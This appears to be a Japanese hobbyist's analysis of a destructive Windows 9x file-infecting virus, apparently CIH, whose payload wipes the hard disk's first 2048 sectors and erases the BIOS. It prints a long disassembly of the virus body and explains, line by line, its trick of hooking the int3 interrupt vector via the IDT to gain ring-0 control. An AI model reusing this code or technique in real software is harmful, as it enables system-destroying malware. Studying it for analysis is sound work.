(おもむろ)にdiswin.と思ったらなぜか感染しているはずのファイルのサイズが変わっていません.
(後から知ったことだがこれは『世界の常識』だったらしい)
1003 1010A | 1010B | 1019 | |
トリガ | 4/26 | 6/26 | 毎月26日 |
症状 | HDDの先頭2048sectorの書き換え,BIOSの起動部分を消去 | ||
感染手法 | 実行ファイル(PE)にのみ感染 |
(少なくとも感染するようなコードは見当たらない)早々にギブアップ・・・と言いたい所ですがその前にちゃんとバイナリエディタで相違を確かめておきましょう.
(普通1番初めにそうするぞ!)
(VCって奴は便利でして,高機能デバッガとしても使える)
00400270 55 push ebp 00400271 8D 44 24 F8 lea eax,dword ptr [esp-8] 00400275 33 DB xor ebx,ebx 00400277 64 87 03 xchg eax,dword ptr fs:[ebx] 0040027A E8 00 00 00 00 call 0040027F 0040027F 5B pop ebx 00400280 8D 4B 42 lea ecx,dword ptr [ebx+42h] 00400283 51 push ecx 00400284 50 push eax 00400285 50 push eax 00400286 0F 01 4C 24 FE sidt fword ptr [esp-2] 0040028B 5B pop ebx 0040028C 83 C3 1C add ebx,1Ch 0040028F FA cli 00400290 8B 2B mov ebp,dword ptr [ebx] 00400292 66 8B 6B FC mov bp,word ptr [ebx-4] 00400296 8D 71 12 lea esi,dword ptr [ecx+12h] 00400299 56 push esi 0040029A 66 89 73 FC mov word ptr [ebx-4],si 0040029E C1 EE 10 shr esi,10h 004002A1 66 89 73 02 mov word ptr [ebx+2],si 004002A5 5E pop esi 004002A6 CC int 3 004002A7 56 push esi 004002A8 8B F0 mov esi,eax 004002AA 8B 48 FC mov ecx,dword ptr [eax-4] 004002AD F3 A4 rep movs byte ptr es:[edi],byte ptr [esi] 004002AF 83 E8 08 sub eax,8 004002B2 8B 30 mov esi,dword ptr [eax] 004002B4 0B F6 or esi,esi 004002B6 74 02 je 004002BA 004002B8 EB F0 jmp 004002AA 004002BA 5E pop esi 004002BB CC int 3 004002BC FB sti 004002BD 33 DB xor 004002BF EB 07 jmp 004002C1 33 DB xor ebx,ebx 004002C3 64 8B 03 mov eax,dword ptr fs:[ebx] 004002C6 8B 20 mov esp,dword ptr [eax] 004002C8 64 8F 03 pop dword ptr fs:[ebx] 004002CB 58 pop eax 004002CC 5D pop ebp 004002CD 68 E0 23 40 00 push 4023E0h 004002D2 C3 ret 004002D3 74 32 je 00400307 004002D5 0F 21 C1 mov ecx,dr0 004002D8 E3 10 jcxz 004002EA 004002DA 83 04 24 15 add dword ptr [esp],15h 004002DE 66 89 6B FC mov word ptr [ebx-4],bp 004002E2 C1 ED 10 shr ebp,10h 004002E5 66 89 6B 02 mov word ptr [ebx+2],bp 004002E9 CF iret 004002EA 0F 23 C3 mov dr0,ebx 004002ED 6A 0F push 0Fh 004002EF 51 push ecx 004002F0 6A FF push 0FFh 004002F2 51 push ecx 004002F3 51 push ecx 004002F4 51 push ecx 004002F5 6A 01 push 1 004002F7 6A 02 push 2 004002F9 CD 20 int 20h 004002FB 53 push ebx 004002FC 00 01 add byte ptr [ecx],al 004002FE 00 83 C4 20 97 8D add byte ptr [ebx-7268DF3Ch],al 00400304 46 inc esi 00400305 9D popf 00400306 CF iret 00400307 8D 87 F7 FC FF FF lea eax,dword ptr [edi-309h] 0040030D 50 push eax 0040030E CD 20 int 20h 00400310 67 00 40 00 add byte ptr [bx+si+0],al 00400314 0F 23 C0 mov dr0,eax 00400317 58 pop eax 00400318 8B 4E 3D mov ecx,dword ptr [esi+3Dh] 0040031B 8B 11 mov edx,dword ptr [ecx] 0040031D 89 50 FC mov dword ptr [eax-4],edx 00400320 8D 40 D6 lea eax,dword ptr [eax-2Ah] 00400323 89 01 mov dword ptr [ecx],eax 00400325 FA cli 00400326 EB B6 jmp 004002DE 00400328 53 push ebx 00400329 E8 00 00 00 00 call 0040032E 0040032E 5B pop ebx 0040032F 83 C3 24 add ebx,24h 00400332 53 push ebx 00400333 CD 20 int 20h 00400335 68 00 40 00 58 push 58004000h 0040033A FF 74 24 08 push dword ptr [esp+8] 0040033E FF 53 FC call dword ptr [ebx-4] 00400341 59 pop ecx 00400342 50 push eax 00400343 53 push ebx 00400344 FF 53 FC call dword ptr [ebx-4] 00400347 59 pop ecx 00400348 0F 23 C0 mov dr0,eax 0040034B 58 pop eax 0040034C 5B pop ebx 0040034D C3 ret ;0040034E 68 0F 02 C0 60 push 60C0020Fh ;00400353 E8 00 00 00 00 call 00400358 0040034E 68 0F 02 C0 00400352 60 pushad 00400353 E8 00 00 00 00 call 00400358 00400358 5E pop esi 00400359 81 C6 03 03 00 00 add esi,303h 0040035F F6 06 01 test byte ptr [esi],1 00400362 0F 85 F0 01 00 00 jne 00400558 00400368 8D 5C 24 28 lea ebx,dword ptr [esp+28h] 0040036C 83 3B 24 cmp dword ptr [ebx],24h 0040036F 0F 85 DD 01 00 00 jne 00400552 00400375 FE 06 inc byte ptr [esi] 00400377 83 C6 05 add esi,5 0040037A 56 push esi 0040037B 8A 43 04 mov al,byte ptr [ebx+4] 0040037E 3C FF cmp al,0FFh 00400380 74 08 je 0040038A 00400382 04 40 add al,40h 00400384 B4 3A mov ah,3Ah 00400386 89 06 mov dword ptr [esi],eax 00400388 46 inc esi 00400389 46 inc esi 0040038A 6A 00 push 0 0040038C 6A 7F push 7Fh 0040038E 8B 5B 10 mov ebx,dword ptr [ebx+10h] 00400391 8B 43 0C mov eax,dword ptr [ebx+0Ch] 00400394 83 C0 04 add eax,4 00400397 50 push eax 00400398 56 push esi 00400399 CD 20 int 20h 0040039B 41 inc ecx 0040039C 00 40 00 add byte ptr [eax],al 0040039F 83 C4 10 add esp,10h 004003A2 81 7C 06 FC 2E 45 58 cmp dword ptr [esi+eax-4],4558452Eh ; 'EXE^' 004003AA 5E pop esi 004003AB 0F 85 9E 01 00 00 jne 0040054F 004003B1 66 83 7B 18 01 cmp word ptr [ebx+18h],1 004003B6 0F 85 93 01 00 00 jne 0040054F 004003BC 66 B8 00 43 mov ax,4300h 004003C0 CD 20 int 20h 004003C2 32 00 xor al,byte ptr [eax] 004003C4 40 inc eax 004003C5 00 0F add byte ptr [edi],cl 004003C7 82 83 mov al,83h 004003C9 01 00 add dword ptr [eax],eax 004003CB 00 51 8B add byte ptr [ecx-75h],dl 004003CE BE 62 FD FF FF mov esi,0FFFFFD62h 004003D3 8B 3F mov edi,dword ptr [edi] 004003D5 F6 C1 01 test cl,1 004003D8 74 08 je 004003E2 004003DA 66 B8 01 43 mov ax,4301h 004003DE 33 C9 xor ecx,ecx 004003E0 FF D7 call edi 004003E2 33 C0 xor eax,eax 004003E4 B4 D5 mov ah,0D5h 004003E6 33 C9 xor ecx,ecx 004003E8 33 D2 xor edx,edx 004003EA 42 inc edx 004003EB 8B DA mov ebx,edx 004003ED 43 inc ebx 004003EE FF D7 call edi 004003F0 93 xchg eax,ebx 004003F1 59 pop ecx 004003F2 9C pushf 004003F3 F6 C1 01 test cl,1 004003F6 74 06 je 004003FE 004003F8 66 B8 01 43 mov ax,4301h 004003FC FF D7 call edi 004003FE 9D popf 004003FF 0F 00 00 sldt word ptr [eax]
00400270 55 push ebp 00400271 8D 44 24 F8 lea eax,dword ptr [esp-8]
ebpの保存.(そのままじゃないの)
あと,esp-8をeaxに代入しています.(movではなくlea(実行アドレスのロード)なのでesp-8の指すデータをeaxに代入しているわけではありません,っておせっかいですな)
00400275 33 DB xor ebx,ebx 00400277 64 87 03 xchg eax,dword ptr fs:[ebx]
ebxをクリアして,eaxをfs:[ebx]と交換.fsっていうのは386から追加されたセグメントレジスタです.ebx=0なのでfsの指すアドレスが問題になるわけなんですが一体プログラム開始時のfsの意味が分からないので何とも言えません.
セグメントについて |
セグメントといえば実際にアクセスするアドレスをセグメントレジスタ値*16バイトずらす機構と思っている人もいるかも知れませんが,それは大昔の話.386以降では完全に(?)違うものになっています.386以降(正確に言えばプロテクトモード)のセグメントレジスタにはアドレス値ではなく,セレクタ値を代入します.そしてセレクタ値ごとに定まったオフセットが使用されます. しかし結局「8086と同じような事だ」と考えるのは間違い.セレクタ値ごとにセグメントの大きさや属性があるのです.これによりただ64KB以上をアクセスする逃げ道のためだけ(?)に存在したセグメントの呪いはメモリ保護等の高度なOSに必要不可欠な機能に昇華したのです. |
0040027A E8 00 00 00 00 call 0040027F 0040027F 5B pop ebx 00400280 8D 4B 42 lea ecx,dword ptr [ebx+42h]
最初見たときは何をCALLしてるの? と一瞬思ってしまいましたがIPの取得をしてます.
(call 40027f を push eip + jmp 40027f と考える)
そのあとecxに004002c1h(0040027f+42)
を代入しています.
00400283 51 push ecx 00400284 50 push eax 00400285 50 push eax 00400286 0F 01 4C 24 FE sidt fword ptr [esp-2] 0040028B 5B pop ebx
まずecx/eax/eaxをスタックに待避(eaxはfs:[0])
.しかしなぜeaxを2回も?この謎は次の命令で分かります.
sidtっていうのは割り込みディスクリプタテーブル(IDTR)のリミット値と先頭アドレスを書き出す命令です.esp-2としてうまくリミット値の部分をスタックの外に放り出して,ebxにIDTRのベース値が来るようになっています.
このときのスタックの状況を図にしてみると
Top | Bottom +--1--2--3--+--1--2--3--+--1--2--3--+--1--2--3--+ | | | eax | eax | ecx | +-----|-----------------------------------------+ | -- esp-2 sidtを実行 +--1--2--3--+--1--2--3--+--1--2--3--+--1--2--3--+ | |limit| idtr base | eax | ecx | +-----------------------------------------------+ | --> pop ebx
(丁寧にやりすぎた^^;)
0040028C 83 C3 1C add ebx,1Ch 0040028F FA cli 00400290 8B 2B mov ebp,dword ptr [ebx] 00400292 66 8B 6B FC mov bp,word ptr [ebx-4] 00400296 8D 71 12 lea esi,dword ptr [ecx+12h] ;004002d3h -> esi 00400299 56 push esi 0040029A 66 89 73 FC mov word ptr [ebx-4],si ;esiをint3に登録 0040029E C1 EE 10 shr esi,10h 004002A1 66 89 73 02 mov word ptr [ebx+2],si 004002A5 5E pop esi
ちょっと簡単な事に説明を付け過ぎているので飛ばしていきましょう.
まず割り込みディスクリプタの構造はゲートディスクリプタと同じなので次のようになっています.
0 1 2 3 4 5 6 7 +--------+--------+--------+--------+--------+--------+--------+--------+ |offset |セレクタ |コピー |種類 |offset | |下位2byte | |カウント| |上位2byte | +--------+--------+--------+--------+--------+--------+--------+--------+ 計8bytesこのことから4番目の割り込み-即ちint3-のoffset値をebpにロードし,004002d3h(ecx+12h)を新しいoffsetにしていることが分かります.当然書き換えている最中にその割り込みが発生したりすると暴走するのでcliで割り込みを無効にしています.
004002A6 CC int 3 (interrupt #3) 004002D3 74 32 je 00400307 004002D5 0F 21 C1 mov ecx,dr0 004002D8 E3 10 jcxz 004002EA
ベクタ変更していきなりint3で割り込み発生.設定通りに004002D3に飛ぶはずです.
飛ぶといきなりjeですが(なぜ?)
,shrでzフラグは伏せた状態であるはずなので飛ばないと思われます.
次のmov ecx,dr0のdr0ってのはdebug register0の事です.いわゆるブレークポインタとして使われます(つまりdr0の指すアドレスにアクセスがあるとdr0が呼ばれる)
.普通デバッグ,ブレークポイント有り状態で走ってるプログラムはないのでecxには0が入ります.よって004002eaに飛びます(最初jcxzをcarry,zero,xフラグが立っていたらジャンプと思ったのは僕だけ? < xフラグって何やねん)
.
004002EA 0F 23 C3 mov dr0,ebx 004002ED 6A 0F push 0Fh 004002EF 51 push ecx 004002F0 6A FF push 0FFh 004002F2 51 push ecx 004002F3 51 push ecx 004002F4 51 push ecx 004002F5 6A 01 push 1 004002F7 6A 02 push 2 004002F9 CD 20 int 20h 004002FB 53 push ebx 004002FC 00 01 add byte ptr [ecx],al 004002FE 00 83 C4 20 97 8D add byte ptr [ebx-7268DF3Ch],al 00400304 46 inc esi 00400305 9D popf 00400306 CF iret
dr0にebx(IDTRのint3の場所)
をセットしています.常駐チェックって奴でしょうか.